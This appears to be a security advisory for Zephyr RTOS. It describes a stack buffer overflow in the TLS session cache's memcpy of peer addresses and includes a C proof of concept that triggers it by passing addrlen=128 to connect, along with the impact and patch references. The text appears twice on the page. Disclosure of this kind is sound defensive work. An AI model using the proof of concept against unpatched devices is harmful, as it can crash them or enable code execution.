Summary
Creating a TLS socket with a net_socklen_t addrlen value larger than sizeof(struct net_sockaddr) (an opaque type), when the TLS session cache is enabled, results in a memcpy that reads and writes past an address memory stored in the TLS session cache.
Details
tls_session_store and tls_session_restore call memcpy without validating the input.
|
memcpy(&peer_addr, addr, addrlen); |
|
memcpy(&peer_addr, addr, addrlen); |
Besides that, struct net_sockaddr_storage should be used instead for storing the address in the cache.
PoC
In the demo below I deliberately passed an incorrect addrlen=128 value to the connect function. The struct net_sockaddr in networking APIs is supposed to be an opaque type, it could pass different types/sizes.
/*
* Some CONFIG conditions
*
* CONFIG_NET_IPV6=y
* CONFIG_NET_SOCKETS_TLS=y
* CONFIG_NET_SOCKETS_TLS_MAX_CLIENT_SESSION_COUNT > 0
*/
#include <zephyr/net/socket.h>
#include <zephyr/net/tls_credentials.h>
#define SERVER_ADDR "2001:db8::1"
#define SERVER_PORT 4433
#define CA_TAG 1
void tls_connect_demo(void)
{
int sock;
int ret;
struct net_sockaddr_in6 server = {
.sin6_family = NET_AF_INET6,
.sin6_port = net_htons(SERVER_PORT),
};
sec_tag_t tags[] = {CA_TAG};
int cache = ZSOCK_TLS_SESSION_CACHE_ENABLED;
net_addr_pton(NET_AF_INET6, SERVER_ADDR, &server.sin6_addr);
sock = zsock_socket(NET_AF_INET6, NET_SOCK_STREAM, NET_IPPROTO_TLS_1_2);
zsock_setsockopt(sock, ZSOCK_SOL_TLS, ZSOCK_TLS_SEC_TAG_LIST, tags, sizeof(tags));
/* Arm the vulnerable path: session cache causes tls_session_restore()
* and tls_session_store() to be invoked on every connect(). */
zsock_setsockopt(sock, ZSOCK_SOL_TLS, ZSOCK_TLS_SESSION_CACHE, &cache, sizeof(cache));
/*
* Call chain on this connect():
*
* connect(sock, &server, 128) <-- addrlen = 128
* ztls_connect_ctx(ctx, addr, addrlen=128)
* zsock_connect(...) <-- underlying TCP connect (validates addrlen >= sizeof(net_sockaddr_in6))
* tls_session_restore(ctx, addr, addrlen=128)
*
* struct net_sockaddr peer_addr = { 0 }; <-- 24 bytes on stack
* memcpy(&peer_addr, addr, addrlen); <-- writes 128 bytes → 104-byte overflow
*
* tls_mbedtls_handshake(...)
* tls_session_store(ctx, addr, addrlen=128) <-- same overflow again
*/
ret = zsock_connect(sock, (struct sockaddr *)&server, 128);
zsock_close(sock);
}
Impact
An out-of-bound write can lead to an arbitrary code execution. This is more severe in real-time
operating systems like Zephyr that run in embedded devices without common memory
protection systems. Even on devices with some form of memory protection, this can still lead to
a crash and a resultant denial of service.
Patches
main: #104871
v4.3: #105044
v4.2: #105043
v3.7: #105042
For more information
If you have any questions or comments about this advisory:
embargo: 2026-06-01
Summary
Creating a TLS socket with a
net_socklen_t addrlenvalue larger thansizeof(struct net_sockaddr)(an opaque type), when the TLS session cache is enabled, results in amemcpythat reads and writes past an address memory stored in the TLS session cache.Details
tls_session_storeandtls_session_restorecallmemcpywithout validating the input.zephyr/subsys/net/lib/sockets/sockets_tls.c
Line 786 in 80a2864
zephyr/subsys/net/lib/sockets/sockets_tls.c
Line 816 in 80a2864
Besides that,
struct net_sockaddr_storageshould be used instead for storing the address in the cache.PoC
In the demo below I deliberately passed an incorrect
addrlen=128value to theconnectfunction. Thestruct net_sockaddrin networking APIs is supposed to be an opaque type, it could pass different types/sizes.Impact
An out-of-bound write can lead to an arbitrary code execution. This is more severe in real-time
operating systems like Zephyr that run in embedded devices without common memory
protection systems. Even on devices with some form of memory protection, this can still lead to
a crash and a resultant denial of service.
Patches
main: #104871
v4.3: #105044
v4.2: #105043
v3.7: #105042
For more information
If you have any questions or comments about this advisory:
embargo: 2026-06-01